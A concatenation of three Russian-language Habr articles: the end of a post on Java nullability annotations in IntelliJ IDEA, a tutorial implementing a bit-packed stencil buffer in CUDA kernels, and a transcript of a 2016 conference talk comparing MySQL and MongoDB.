public void setName(String name) { this.name = name; }
@Nullable public String getFullName() { return fullName; }
public void setFullName(@Nullable String fullName) { this.fullName = fullName; }
}
}
```
Как видно везде понятно можно ли получить null при дереференсе ссылки.
Единственный нюанс состоит в том, что возникают ситуации, когда в текущем контексте (н-р, на определенном этапе бизнес-процесса) мы точно знаем, что что-то в общем случае необязательное должно присутствовать. В нашем случае это полное имя Василия, которое может в принципе и отсутствовать у пользователя, но мы то знаем, что здесь и сейчас это невозможно согласно правилам бизнес логики. Для таких ситуаций я использую простую assert-утилиту:
```
import javax.annotation.Nullable;
public class Asserts {
/**
* For situations, when we definitely know that optional value cannot be null in current context.
*/
public static T notNull(@Nullable T obj) {
if(obj == null) {
throw new IllegalStateException();
}
return obj;
}
}
```
Настоящие java asserts тоже можно использовать, но у меня они не прижились из-за необходимости явного включения в runtime и менее удобного синтаксиса.
Пара слов про наследование и ковариантность/контравариантность:
* если возвращаемый тип метода предка является NotNull, то переопределенный метод наследника тоже должен быть NotNull. Остальное допустимо;
* если аргумент метода предка является Nullable, то переопределенный метод наследника тоже должен быть Nullable. Остальное допустимо.
На самом деле этого уже вполне достаточно и статический анализ (в IDE или на CI) не особо нужен. Но пускай и IDE поработает, не зря же покупали. Я предпочитаю использовать Intellij Idea, поэтому все дальнейшие примеры будут по ней.
#### Intellij Idea делает жизнь лучше
Сразу скажу, что по-умолчанию Idea предлагает свои аннотации с аналогичной семантикой, хотя и понимает все остальные. Изменить это можно в Settings -> Inspections -> Probable bugs -> {Constant conditions & exceptions; `@NotNull/@Nullable` problems}. В обеих инспекциях нужно выбрать используемую пару аннотаций.
Вот как в Idea выглядит подсветка ошибок, найденных инспекциями, в некорректном варианте реализации предыдущего кода:
Стало совсем замечательно, IDE не только находит два NPE, но и вынуждает нас с ними что-то сделать.
Казалось бы все хорошо, но встроенный статический анализатор Idea не понимает принятого нами соглашения об обязательности по-умолчанию. С ее точки зрения (как и любого другого стат. анализатора) здесь появляется три варианта:
* Nullable — значение обязательно;
* NotNull — значение необязательно;
* Unknown — про обязательность значения ничего не известно.
И все что мы не стали размечать теперь считается Unknown. Является ли это проблемой? Для ответа на этот вопрос необходимо понять что же умеют находить инспекции Idea для Nullable и NotNull:
* dereference переменной, потенциально содержащей null, при обращении к полю или методу объекта;
* передача в NotNull аргумент Nullable переменной;
* избыточная проверка на отсутствие значения для NotNull переменной;
* не соответствие параметров обязательности при присвоении значения;
* возвращение NotNull методом Nullable переменной в одной из веток.
Логично, что любое значение, возвращенное из метода библиотеки, не размеченной данными аннотациями является Unknown. Для борьбы с этим достаточно просто пометить аннотацией локальную переменную или поле, которым осуществляется присваивание.
Если мы продолжаем придерживаться нашей практики, то в нашем коде останется помечено как Nullable все необязательное. Таким образом первая проверка продолжает работать, защищая нас от многих NPE. К сожалению, все остальные проверки отвалились. Не работает в том числе и вторая проверка, крайне полезная против товарищей, очень любящих как писать методы, активно принимающие null в качестве аргументов, так и передавать null в чужие методы, не рассчитанные на это.
Восстановить поведение второй проверки можно двумя способами:
* в настройках инспекции «Constant conditions & exceptions» активировать опцию «Suggest @Nullable annotation for methods that may possibly return null and report nullable values passed to non-annotated parameters». Это приведет к тому, что все неаннотированные аргументы методов по всему проекту будут считаться NotNull. Для только начинающегося проекта это решение отлично подойдет, но по понятным причинам оно не уместно при внедрении практики в проект с значетильной существующей кодовой базой;
* использовать аннотацию `@ParametersAreNonnullByDefault` для задания соответствующего поведения в определенном scope, которым может быть метод, класс, пакет. Это решение уже отлично подходит для legacy проекта. Ложкой дегтя является то, что при задании поведения для пакета рекурсия не поддерживается и на весь модуль за один раз эту аннотацию не навесить.
В обоих случаях по-умолчанию NotNull становятся только неаннотированные аргументы методов. Полей, локальных переменных и возвращаемых значений все это не касается.
#### Ближайшее будущее
Улучшить ситуацию призвана грядущая поддержка `@TypeQualifierDefault`, которая уже работает в Intellij Idea 14 EAP. С помощью них можно определить [свою аннотацию](http://youtrack.jetbrains.com/issue/IDEA-125281) `@NonNullByDefault`, которая будет определять обязательность по-умолчанию для всего, поддерживая те же scopes. Рекурсивности сейчас тоже нет, но дебаты [идут](http://youtrack.jetbrains.com/issue/IDEA-65566).
Ниже продемонстрировано как выглядят инспекции для трех случаев работы из legacy кода с кодом в новом стиле с аннотациями.
Аннотируем явно:
По-умолчанию только аргументы:
По-умолчанию все:
#### Конец
Вот теперь все стало почти замечательно, осталось дождаться выхода Intellij Idea 14. Единственное, чего еще не хватает до полного счастья — это возможности аннотировать тип в Generic до Java 8 и ее поддержки Type annotations. Чего очень не хватает для ListenableFutures и коллекций в некоторых случаях.
Так как объем статьи получился достаточно значительный, то большая часть примеров осталась за бортом, но доступна [здесь](https://github.com/tr1cks/jsr305-nullability-examples).
**upd.** Добавлять метаинформацию об опциональности значения для внешних библиотек оказывается все таки [можно](http://habrahabr.ru/post/237843/#comment_8000397).
#### Использованные источники
1. [stackoverflow.com/questions/16938241/is-there-a-nonnullbydefault-annotation-in-idea](http://stackoverflow.com/questions/16938241/is-there-a-nonnullbydefault-annotation-in-idea)
2. [www.jetbrains.com/idea/webhelp/annotating-source-code.html](http://www.jetbrains.com/idea/webhelp/annotating-source-code.html)
3. [youtrack.jetbrains.com/issue/IDEA-65566](http://youtrack.jetbrains.com/issue/IDEA-65566)
4. [youtrack.jetbrains.com/issue/IDEA-125281](http://youtrack.jetbrains.com/issue/IDEA-125281) | https://habr.com/ru/post/237843/ | null | ru | null |
# Пример реализации Stencil буфера с помощью CUDA
Stencil buffer используется для маскировки отражений в тех местах где их на самом деле нет. Техника Stencil используется в OpenGL и DirectX. Перед применением алгоритма производится Stencil тест и в тех местах где нет изображения пиксельный шейдер не будет рендерится. Таким образом мы пресекаем лишнюю работу.
Stencil хранится в буфере с глубиной. Например в формате D3DFMT\_D24S8 24 бита — биты глубины и 8 бит — Stencil. Для упрощения, далее мы будем считать, что Stencil хранится в последнем бите. Если этот бит = 1, то пиксель активен. Таким образом упрощенный алгоритм представляет следующие шаги:
1. Обнуляем (заполняем нулями) Stencil buffer.
2. Начинаем запись и рисуем в Stencil buffer плоскость, относительно которой будем считать отражение. Там где есть зеркало будут храниться единицы, а там где зеркала нет — нули.
3. Отражаем всю геометрию относительно плоскости при помощи отдельной матрицы, и затем рисуем отражение, попутно запуская Stencil-тест.
Таким образом, там где на изображении находилось зеркало, будет выведено отражение. А там где его нет, ничего не изменится.
Программная реализация на CUDA
------------------------------
CUDA, к сожалению, механизм Stencil-теста отсутствует. Это очень полезный прием и как обойти это ограничение я расскажу в следующей статье, а сейчас рассмотрим детали реализации.
Итак, заводим стенсил буфер размером ровно на (N/32)\*sizeof(int) байт. И привязываем к нему текстуру.
```
cudaMalloc((void**)&m_stencilBuffer, N*sizeof(int)/32);
cudaBindTexture(0, stencil_tex, m_stencilBuffer, N*sizeof(int)/32);
Сама текстура объявлена в каком-нибудь хедере (.h файл) следующим образом:
Texture stencil\_tex;
Далее, в том же файле объявим такой вспомогательный массив:
static \_\_device\_\_ int g\_stencilMask[32] = {
0x00000001, 0x00000002, 0x00000004, 0x00000008, 0x00000010, 0x00000020, 0x00000040, 0x00000080,
0x00000100, 0x00000200, 0x00000400, 0x00000800, 0x00001000, 0x00002000, 0x00004000, 0x00008000,
0x00010000, 0x00020000, 0x00040000, 0x00080000, 0x00100000, 0x00200000, 0x00400000, 0x00800000,
0x01000000, 0x02000000, 0x04000000, 0x08000000, 0x10000000, 0x20000000, 0x40000000, 0x80000000
};
```
Для тех кернелов, которые только читают стенсил буфер, применять макрос следует в начале кернела следующим образом:
```
__global__ void my_kernel(…)
{
uint tid = blockDim.x * blockIdx.x + threadIdx.x;
STENCIL_TEST(tid);
// my code here
}
```
На практике (GTX560) такой стенсил тест примерно на 20-25% быстрее, чем простая проверка проверка вида:
```
uint activeFlag = a_flags[tid];
if(activeFlag==0)
return;
```
Однако, с учетом экономии памяти, профит определенно есть. Следует так же отметить, что на видеокартах с менее широкой шиной (например GTS450) ускорение может быть более существенным.
Итак, осталось реализовать лишь запись в стенсил-буфер. Сначала читаем значение для всего в warp-а из стелсил-буфера в переменную activeWarp; Затем каждый поток получает из этой переменной свой бит при помощи логического & и хранит его в переменной active. В конце кернела мы соберем из всех переменных active для данного warp-а значения обратно в один 32 разрядный uint, и нулевой поток warp-а запишет результат назад в память.
```
// (tid >> 5) same as (tid/32)
// (tid & 0x1f) same as (tid%32)
__global__ void my_kernel2(…,uint* a_stencilBuffer)
{
uint tid = blockDim.x * blockIdx.x + threadIdx.x;
uint activeWarp = a_stencilBuffer[tid >> 5];
if(activeWarp==0) // all threads in warp inactive
return;
// each threads will store it's particular bit from group of 32 threads
uint active = activeWarp & g_stencilMask[tid&0x1f];
if(!active)
goto WRITE_BACK_STENCIL_DATA;
// my code here
WRITE_BACK_STENCIL_DATA:
WriteStencilBit(tid, a_stencilBuffer, active);
}
```
Если поток неактивен, он сразу перейдет в конек кернела. Если по какой-либо причине вы внутри вашего кода решили, что этот поток должен быть неактивен, сделайте так:
```
if(want to kill thread)
{
active = 0;
goto WRITE_BACK_STENCIL_DATA;
}
```
В примере намеренно использована метка и оператор goto. Хоть это и является плохим стилем программирования, в данном случае это добавляет безопасности вашему коду. Дело в том, что вы обязаны гарантированно достичь кода функции WriteStencilBit. Если по какой-то причине внутри вашего кода вы решите сделать return, всё поломается (чуть позже обсудим почему). Вместо return надо ставить goto WRITE\_BACK\_STENCIL\_DATA, чтобы перед выходом, все потоки из warp-a могли собрать данные, а нулевой поток (нулевой внутри warp-a) запишет их в стенсил-буфер. Собственно, функция WriteStencilBit выглядит следующим образом:
```
__device__ void WriteStencilBit(int tid, uint* a_stencilBuffer, uint value)
{
uint stencilMask = __ballot(value);
if((tid & 0x1f) == 0) // same as tid%32 == 0
a_stencilBuffer[tid >> 5] = stencilMask;
}
```
Функция \_\_ballot() возвращает uint, где каждый i-ый бит равен 1 тогда и только тогда, когда то, что находится в ее аргументе не равно нулю. То есть она делает в точности то, что там нужно, сшивая обратно в uint флаги от разных потоков внутри warp-а.
Функция \_\_ballot() принадлежит к так называемым “warp vote functions” и работает очень быстро. К сожалению, она доступна только для compute capability 2.0, то есть видеокарт с архитектурой Fermi. Важное замечание по её работе, следующий код будет неправильным:
```
__device__ void WriteWrongStencilBit(int tid, uint* a_stencilBuffer, uint value)
{
if((tid & 0x1f) == 0) // same as tid%32 == 0
a_stencilBuffer[tid >> 5] = __ballot(value);
}
```
Дело в том, что \_\_ballot() будет всегда помещать 0 в те биты, чьи потоки замаскированы в данный момент. А все потоки с номером внутри варпа не равным нулю (1..31) будут замаскированны и не попадут внутрь оператора if, поэтому 1..31 биты результата функции \_\_ballot() для такого кода всегда будут равны нулю. Отсюда правда следует интересный вывод. Если вы гарантированно пишете для видеокарт с архитектурой Fermi, то даже для кернелов которые пишут в стенсил буфе, вы можете убивать поток следующим образом:
```
if(want to kill thread)
return;
```
Таким образом, потоки, для которых вы сделали return будут замаскированы и \_\_ballot() вернет в своем результате нули для соответствующих бит. Есть правда одна тонкость. По крайней мере для нулевого потока внутри warp-а вы так сделать не можете, иначе результат просто не запишется назад. Поэтому на самом деле можно делать только так
```
if(want to kill thread && (tid&0x1f!=0))
return;
```
Или пользуйтесь формой предложенной выше:
```
if(want to kill thread)
{
active = 0;
goto WRITE_BACK_STENCIL_DATA;
}
```
Особенности реализации для старой аппаратуры (G80-GT200)
Рассмотрим теперь, какие расширения должны быть сделаны, чтобы стенсил эффективно работал и на более старых GPU. На этих видеокартах не поддерживается функция \_\_ballot(). Перепишем функцию WriteStencilBit в соответствие с теми возможностями, которые у нас имеются:
```
template
\_\_device\_\_ inline void WriteStencilBit(int tid, uint\* a\_stencilBuffer, uint value)
{
#if COMPUTE\_CAPABILITY >= COMPUTE\_CAPABILITY\_GF100
uint stencilMask = \_\_ballot(value);
if((tid & 0x1f) == 0)
a\_stencilBuffer[tid >> 5] = stencilMask;
#elif COMPUTE\_CAPABILITY >= COMPUTE\_CAPABILITY\_GT200
if(\_\_all(value==0))
{
if((tid & 0x1f) == 0)
a\_stencilBuffer[tid >> 5] = 0;
}
else if(\_\_all(value))
{
if((tid & 0x1f) == 0)
a\_stencilBuffer[tid >> 5] = 0xffffffff;
}
else
{
\_\_shared\_\_ uint active\_threads[CURR\_BLOCK\_SIZE/32];
uint\* pAddr = active\_threads + (threadIdx.x >> 5);
if((tid & 0x1f) == 0)
\*pAddr = 0;
atomicOr(pAddr, value);
if((tid & 0x1f) == 0)
a\_stencilBuffer[tid >> 5] = \*pAddr;
}
#else
\_\_shared\_\_ uint active\_threads[CURR\_BLOCK\_SIZE];
active\_threads[threadIdx.x] = value;
if((threadIdx.x & 0x1) == 0)
active\_threads[threadIdx.x] = value | active\_threads[threadIdx.x+1];
if((threadIdx.x & 0x3) == 0)
active\_threads[threadIdx.x] = active\_threads[threadIdx.x] | active\_threads[threadIdx.x+2];
if((threadIdx.x & 0x7) == 0)
active\_threads[threadIdx.x] = active\_threads[threadIdx.x] | active\_threads[threadIdx.x+4];
if((threadIdx.x & 0xf) == 0)
active\_threads[threadIdx.x] = active\_threads[threadIdx.x] | active\_threads[threadIdx.x+8];
if((threadIdx.x & 0x1f) == 0)
active\_threads[threadIdx.x] = active\_threads[threadIdx.x] | active\_threads[threadIdx.x+16];
uint\* perWarpArray = active\_threads + ((threadIdx.x >> 5) << 5);
if((tid & 0x1f) == 0)
a\_stencilBuffer[tid >> 5] = perWarpArray[0];
#endif
}
```
Таким образом мы можем делать атомики в шаред-память + доступны 2 функции голосования, \_\_any и \_\_all, так что мы их можем использовать. В остальных случаях остается только классическая редукция.
Тестируем Stencil
-----------------
Для нужд рейтрейсинга, такой стенсил буфер подошел довольно удачно. На GTX560 моего старенького ноута получается около 4 миллиардов вызов кернелов в секунду (то есть 4 миллиарда пустых вызовов в секунду) — неплохо, правда?! При увеличении глубины трассировки производительность немного падала в соответствии с тем, насколько реально много отраженных объектов мы видим. Тесты специально производились на как можно более простой отражающей сцене:
Динамика FPS следующая: 30, 25, 23.7, 20, 19.4, 18.8 | https://habr.com/ru/post/151640/ | null | ru | null |
# MySQL и MongoDB — когда и что лучше использовать
*Петр Зайцев показывает разницу между MySQL и MongoDB. Это — расшифровка доклада с [Highload++](http://www.highload.ru/) 2016.*
Если посмотреть такой известный [DB-Engines Ranking](http://db-engines.com/en/ranking), то можно увидеть, что в течении многих лет популярность open source баз данных растет, а коммерческих — постепенно снижается.
Что еще более интересно: если посмотреть на вот это отношение для разных типов баз данных, то видно, что для многих типов — таких, как колунарные базы данных, time series, document stories — open source базы данных наиболее популярны. Только для более старых технологий, таких как реляционные базы данных, или еще более древних, как multivalue база данных, коммерческие лицензии значительно популярнее.
Мы видим, что для многих приложений используют несколько баз данных для того, чтобы задействовать их сильные стороны. Ни одна база данных не оптимизирована для всех всевозможных юзкейсов. Даже если это PostgreSQL [смех на сцене и в зале].
С одной стороны, это хороший выбор, с другой — нужно пытаться найти баланс, так как чем у нас больше разных технологий, тем сложнее их поддерживать, особенно, если компания не очень большая.
Часто что видим, что люди приходят на такие конференции, слушают Facebook или «Яндекс» и говорят: «Ух ты! Сколько вот люди делают интересного. У них технологий разных используется штук 20, и еще штук 10 они написали сами». А потом они тот же самый подход пытаются использовать в своем стартапе из 10 человек, что работает, разумеется, не очень хорошо. Это как раз тот случай, где размер имеет значение.
Подходы к архитектуре
=====================
Очень часто мы видим, что используется основное операционное хранилище и какие-то дополнительные сервисы. Например, для кэширования или полнотекстового поиска.
Другой подход к архитектуре с использованием разных баз данных — это микросервисы, у каждого из которых может быть своя база данных, которая лучше оптимизирована для задач именно этого сервиса. Как пример: основное хранилище может быть на MySQL, Redis и Memcache — для кэширования, Elastic Search или родной Sphinx — для поиска. И что-то вроде Kafka — чтобы передавать данные в систему аналитики, которая часто делалась на чём-то вроде Hadoop.
Если мы говорим про основное операционное хранилище, наверное, у нас есть два выбора. С одной стороны, мы можем выбрать реляционные базы данных, с языком SQL. С другой стороны — что-то нереляционное, а дальше уже смотреть на подвиды, которые доступы в данном случае.
Если говорить про NoSQL-модели данных, то их тоже достаточно много. Наиболее типичные — это либо key value, либо document, либо wide column базы данных. Примеры: Memcache, MongoDB, Cassandra, соответственно.
Почему в данном случае мы сравниваем именно MySQL и MongoDB? На самом деле причин несколько. Если посмотреть на Ranking баз данных, то мы видим, что MySQL, согласно этому рейтингу, — наиболее популярная реляционная база данных, а MongoDB — наиболее популярная нереляционная база данных. Поэтому их разумно сравнивать.
А ещё у меня есть наибольший опыт в использовании этих двух баз данных. Мы в Percona занимаемся плотно именно с ними, работаем с многими клиентами, помогаем им сделать такой выбор. Еще одна причина: обе технологии изначально ориентированы на разработчиков простых приложений. Для тех людей, для которых PostgreSQL — это слишком сложно.
Компания MongoDB изначально очень активно фокусировалась на пользователях MySQL. Поэтому очень часто у людей есть опыт использования и выбор между этими двумя технологиями.
В Percona кроме того, что мы занимаемся поддержкой, консалтингом для этих технологий, у нас есть достаточно много написанного open source софта для обеих технологий. На слайде можно посмотреть. Подробно я рассказывать об этом не буду.
Что следует обо мне лично: я занимаюсь MySQL значительно больше, чем MongoDB. Несмотря на то, что я постараюсь предоставить сбалансированный обзор с моей стороны, у меня могут быть какие-то предрасположенности к MySQL, так как его тараканы я знаю лучше.
Выбор MySQL и MongoDB
=====================
Вот список разных вопросов, которые на мой взгляд имеет смысл рассматривать. Сейчас из них рассмотрим каждый более детально.
Что наиболее важно на мой взгляд — это учитывать, какие есть опыт и предпочтения команды. Для многих задач подходят оба решения. Их можно сделать и так, и так, может быть несколько сложнее, может быть несколько проще. Но если у вас команда, которая долго работала с SQL-базами данных и понимает реляционную алгебру и прочее, может быть сложно перетягивать и заставлять их использовать нереляционные базы данных, такие как MongoDB, где нет даже полноценной транзакции.
И наоборот: если есть какая-то команда, которая использует и хорошо знает MongoDB, SQL-язык может быть для неё сложен. Также имеет смысл рассматривать как оригинальную разработку, так и дальнейшее сопровождение и администрирование, поскольку всё это в итоге важно в цикле приложения.
**Какие есть преимущества у данных систем?**
Если говорить про MySQL — это проверенная технология. Понятно, что MySQL используется крупными компаниями более 15 лет. Так как он использует стандарт SQL, есть возможность достаточно простой миграции на другие SQL-базы данных, если захочется. Есть возможность транзакций. Поддерживаются сложные запросы, включая аналитику. И так далее.
С точки зрения MongoDB, здесь преимущество то, что у нас гибкий JSON-формат документов. Для некоторых задач и каким-то разработчикам это удобнее, чем мучиться с добавлением колонок в SQL-базах данных. Не нужно учить SQL — для некоторых это сложно. Простые запросы реже создают проблемы. Если посмотреть на проблемы производительности, в основном они возникают, когда люди пишут сложные запросы с `JOIN` в кучу таблиц и `GROUP BY`. Если такой функциональности в системе нет, то создать сложный запрос получается сложнее.
В MongoDB встроена достаточно простая масштабируемость с использованием технологии шардинга. Сложные запросы если возникают, мы их обычно решаем на стороне приложения. То есть, если нам нужно сделать что-то вроде `JOIN`, мы можем сходить выбрать данные, потом сходить выбрать данные по ссылкам и затем их обработать на стороне приложения. Для людей, которые знают язык SQL, это выглядит как-то убого и ненатурально. Но на самом деле для многих разработка application-серверов такое куда проще, чем разбираться с `JOIN`.
Подход к разработке и жизненный цикл приложений
===============================================
Если говорить про приложения, где используется MongoDB, и на чём они фокусируются — это очень быстрая разработка. Потому что всё можно постоянно менять, не нужно постоянно заботиться о строгом формате документа.
Второй момент — это схема данных. Здесь нужно понимать, что у данных всегда есть схема, вопрос лишь в том, где она реализуется. Вы можете реализовывать схему данных у себя в приложении, потому что каким-то же образом вы эти данные используете. Либо эта схема реализуется на уровне базы данных.
Очень часто если у вас есть какое-то приложение, с данными в базе данных работает только это приложение. Например, мы сохраняем данные из этого приложения в эту базу данных. Схема на уровне приложения работает хорошо. Если у нас одни и те же данные используются многими приложениями, то это очень неудобно, сложно контролировать.
Здесь возникает также вопрос времени жизни приложения. С MongoDB хорошо делать приложения, у которых очень ограниченный цикл жизни. То есть если мы делаем приложение, которое живёт недолго, например, сайт для запуска фильма или олимпиады. Мы пожили несколько месяцев после этого, и это приложение практически не используется. Если приложение живёт дольше, то тут уже другой вопрос.
Если говорить про распределение преимуществ и недостатков MySQL и MongoDB с точки зрения цикла разработки приложения, то их можно представить так:
Модель данных очень сильно зависит от приложения и опыта команды. Было бы странным сказать, что у нас реляционный или нереляционный подход к базам данных лучше и лучше всегда.
Если сравнивать их между собой, то понятно, что у нас есть. В MySQL — реляционная база данных. Мы можем с помощью реляционной базы данных легко отображать связи между таблицами. Нормализуя данные, мы можем заставлять изменения данных происходить атомарно в одном месте. Когда данные у нас денормализованы, нам не нужно при каких-то изменениях бежать и модифицировать кучу документов.
Хорошо это или плохо? Результат — всегда таблица. С одной стороны, это просто, с другой — некоторые структуры данных не всегда хорошо ложатся на таблицу, нам может быть неудобно с этим работать.
Это всё в теории. Если говорить о практическом использовании MySQL, мы знаем, что часто денормализуем данные, иногда для некоторых приложений мы используем что-то подобное: храним JSON, XML или другую структуру в колонках приложения.
У MongoDB структура данных основана на документах. Данные многих веб-приложений отображать очень просто. Потому что если храним структуру — что-то вроде ассоциированного массива приложения, то это очень просто и понятно для разработчика сериализуется в JSON-документ. Раскладывать такое в реляционной базе данных по разным табличкам — задача более нетривиальная.
Результаты как список документов, у которых может быть совершенно разная структура — более гибкое решение.
Пример. Мы хотим сохранить контакт-лист с телефона. Понятно, что есть данные, которые хорошо кладутся в одну реляционную табличку: Фамилия, Имя и т.д. Но если посмотреть на телефоны или email-адреса, то у одного человека их может быть несколько. Если подобное хранить в хорошем реляционном виде, то нам неплохо бы это хранить в отдельных таблицах, потом это всё собирать `JOIN`, что менее удобно, чем хранить это всё в одной коллекции, где находятся иерархические документы.
Следует сказать, что это всё в строго реляционной теории — некоторые базы данных поддерживают массивы. В MySQL поддерживается формат JSON, в который можно засунуть такие вещи, как несколько email-адресов. Или многие годы люди серилизовали это ручками: надо нам сохранить несколько email-адресов, то давайте запишем их через запятую, и дальше приложение разберётся. Но как-то это не очень кошерно.
Термины
=======
Интересно, что между MySQL и MongoDB — вообще, между реляционными и нереляционными СУБД — что-то совпадает, что-то различается. Например, в обоих случаях мы говорим о базах данных, но то, что мы называем таблицей в реляционной базе данных, часто в нереляционной называется коллекцией. То, что в MySQL — колонка, в MongoDB — поле. И так далее.
С точки зрения использования `JOIN`, в MongoDB нет такого понятия — это вообще понятие из реляционной структуры. Там мы либо делаем встроенный документ, что близко к концепту денормализации, либо мы просто сохраняем идентификатор документа в каком-то поле, называем это ссылкой и дальше ручками выбираем данные, которые нам нужны.
Что касается доступа: там, где мы к реляционным данным используем язык SQL, в MongoDB и многих других NoSQL-базах данных используется такой стандарт, как CRUD. Этот стандарт говорит, что есть операции для создания, чтения, удаления и обновления документов.
**Несколько примеров.**
Как у нас могут выглядеть наиболее типичные задачи по работе с документами в MySQL и MongoDB:
Вот пример вставки.
Пример обновления.
Пример удаления.
Если вы разработчик, который знаком с языком JavaScript, то такой синтаксис, который предоставляет CRUD (MongoDB), для вас будет более естественным, чем синтаксис SQL.
На мой взгляд, когда у нас есть простейшие операции: поиск, вставка, они все работают достаточно хорошо. Когда речь идёт о более интересных операциях выборки, на мой взгляд, язык SQL куда более читаемый.
`>` вместо простого знака «>». Не очень читаемо, на мой взгляд.
Достаточно легко с помощью интерфейса делать такие вещи, как подсчёт числа строк в таблице или коллекции.
Но если мы делаем более сложные вещи, например, `GROUP BY`, в MongoDB для этого требуется использовать Aggregation Framework. Это несколько более сложный интерфейс, который показывает, как мы хотим отфильтровать, как мы хотим группировать и т.д. Aggregation Framework уже поддерживает что-то вроде операций `JOIN`.
Следующий момент — это транзакции и консистентность (ACID). Если пойти и почитать документацию MongoDB, там будет: «Мы поддерживаем ACID-транзакции, но с ограничением». На мой взгляд, стоит сказать: «ACID мы не поддерживаем, но поддерживаем другие минимальные нетранзакционные гарантии».
**Какая у нас между ними разница?**
Если говорить про MySQL, он поддерживает ACID-транзакции произвольного размера. У нас есть атомарность этих транзакций, у нас есть мультиверсионность, можно выбирать уровень изоляции транзакций, который может начинаться с `READ UNCOMMITED` и заканчиваться `SERIALIZABLE`. На уровне узла и репликаций мы можем конфигурировать, как данные хранятся.
Мы можем сконфигурировать у InnoDB, как работать с лог-файлом: сохранять его на диск при коммите транзакции или же делать это периодически. Мы можем сконфигурировать репликацию, включить, например, Semisynchronous Replication, когда у нас данные будут считаться сохранёнными только тогда, когда их копия будет принята на одном из slave’ов.
MongoDB не поддерживает транзакции, но он поддерживает атомарные операции над документом. Это значит, что с точки зрения одного документа операция у нас будет атомарна. Если у нас операция изменяет несколько документов, и во время этой операции произойдет какой-то сбой внутри, то какие-то из этих документов могут быть изменены, а какие-то — не изменены.
Консистентность тоже делается на уровне документов. В кластере мы можем выбирать гибкую консистентность. Мы можем указать, какие мы хотим гарантии — гарантии, что у нас данные были записаны только на один узел, или они были реплицированы на все узлы кластеров. Чтение консистентности тоже происходит на уровне документа.
Есть такой вариант обновления isolated, который позволяет выполнить обновление изолированно от других транзакций, но он очень неэффективен — он переключает базы данных в монопольный режим доступа, поэтому он используется достаточно редко. На мой взгляд, если говорить про транзакции и консистентность, то MongoDB достаточна убогая.
Производительность
==================
Производительность очень сложно сравнивать напрямую, потому что мы часто делаем разные схемы баз данных, дизайн приложения. Но если говорить в целом, MongoDB изначально была сделана, чтобы хорошо масштабироваться на много узлов через шардинг, поэтому эффективности было уделено меньше внимания.
Это результаты бенчмарка, который делал Марк Каллаган. Здесь видно, что с точки зрения использования процессора, ввода/вывода MySQL — как InnoDB, так и MyRocks — использует значительно меньше процессора и дискового ввода/вывода на операции бенчмарка Linkbench от Facebook.
**Масштабируемость.**
Что такое масштабируемость в данном контексте? То, насколько легко нам взять наше маленькое приложение и масштабировать его на многие миллионы, может быть, даже на миллиарды пользователей.
Масштабируемость бывает разная. Она бывает средняя, в рамках одной машины, когда мы хотим поддерживать приложения среднего размера, либо масштабируемость на кластере, когда у нас приложения уже очень большие, когда понятно, что даже одна самая мощная машина не справится.
Также имеет смысл говорить о том, масштабируем ли мы чтение, запись или объем данных. В разных приложениях их приоритеты могут различаться, но в целом, если приложение очень большое, обычно им приходится работать со всеми из этих вещей.
В MySQL в новых версиях весьма хорошая масштабируемость в рамках одного узла для LTP-нагрузок. Если у нас маленькие транзакции, есть какое-нибудь железо, в котором 64 процессора, то масштабируется достаточно хорошо. Аналитика или сложные запросы масштабируются плохо, потому что MySQL может использовать для одного запроса только один поток, что плохо.
Традиционно чтение в MySQL масштабируется с репликацией, запись и размер данных — через шардинг. Если смотреть на все большие компании — Facebook, Twitter — они все используют шардинг. Традиционно шардинг в MySQL используется вручную. Есть некоторые фреймворки для этого. Например, Vitess — это фреймворк, который Google использует для scaling сервиса YouTube, они его выпустили в open source. До этого был framework Jetpants. Стандартного решения для шардинга MySQL не предлагает, часто переход на шардинг требует внимания от разработчиков.
В MongoDB фокус изначально был в масштабируемости на многих узлах. Даже в случаях с маленьким приложением многим рекомендуется использовать шардинг с самого начала. Может, всего пару replica set, потом вы будете расти вместе со своим приложением.
В шардинге MongoDB есть некоторые ограничения: не все операторы с ним работают, например, есть isolated-вариант для обеспечения консистентности. Она не работает если использовать шардинг. Но при этом многие основные операции хорошо работают в шардингом, поэтому людям позволяется scale’ить приложения значительно лучше. На мой взгляд, шардинг и вообще репликация в MongoDB сделаны куда лучше, чем MySQL, значительно проще в использовании для пользователя.
Администрирование
=================
Администрирование – это все те вещи, о которых не думают разработчики. По крайней мере в первую очередь. Администрирование — это то, что нам приложение придётся бэкапить, обновлять версии, мониторить, восстановливать при сбоях и так далее.
MySQL достаточно гибок, у него есть много разных подходов. Есть хорошие open source реализации всего, но это множество вариантов порождает сложность. Я часто общаюсь с пользователями, которые только начинают изучать MySQL. Они говорят: «Ёлки-палки, сколько же у вас всего вариантов. Вот только репликация — какую мне использовать: statement-репликацию, raw-репликацию, или mix? А еще есть gtid и стандартная репликация. Почему нельзя сказать „просто работай“?»
В MongoDB всё больше ориентированно на то, что оно работает каким-то одним стандартным образом — есть минимизация администрирования. Но понятно, что это происходит при потере гибкости. Коммьюнити open source решений для MongoDB значительно меньше. Многие вещи в MongoDB с точки зрения рекомендаций достаточно жестко привязаны к Ops Manager — коммерческой разработке MongoDB.
Мифы
====
Как в MongoDB, так и в MySQL есть мифы, которые были в прошлом, которые были исправлены, но у людей хорошая память, особенно если что-то не работает. Помню, в MySQL после того как появились транзакции с InnoDB, люди мне лет десять говорили: «А в MySQL нет же транзакций?»
В MongoDB было много разных проблем с производительностью MMAP storage engine: гигантские блокировки, неэффективное использование дискового пространства. Сейчас в стандартном движке WiredTiger уже нет многих из этих проблем. Есть другие проблемы, но не эти.
«Нет контроля схемы» — ещё такой миф. В новых версиях MongoDB можно для каждой коллекции определить на JSON структуру, где данные будут валидироваться. Данные, которые мы пытаемся вставить, и они не соответствуют какому-то формату, можно выкидывать.
«Нет аналога `JOIN`» — то же самое. В MongoDB это появилось, но нескольких ограниченных вещах. Только на уровне одного шарда и только если мы используем Aggregation Framework, а не в стандартных запросах.
Какие у нас есть мифы в MySQL? Здесь я буду говорить больше о поддержке NoMySQL решений в MySQL, об этом я буду говорить завтра. Следует сказать, что MySQL сейчас тоже можно использовать через интерфейс CRUD’a, использовать в NoSQL режиме примерно как MongoDB.
Типичный пример, где используется MySQL-решение — это сайт электронной коммерции. Когда у нас идёт вопрос о деньгах, часто мы хотим полноценные транзакции и консистентность. Для таких вещей хорошо подходит реляционная структура, которая была проработана, и commerce на реляционных базах данных уже делается многие десятилетия. Так что можно взять один из готовых подходов к структуре данных и использовать его.
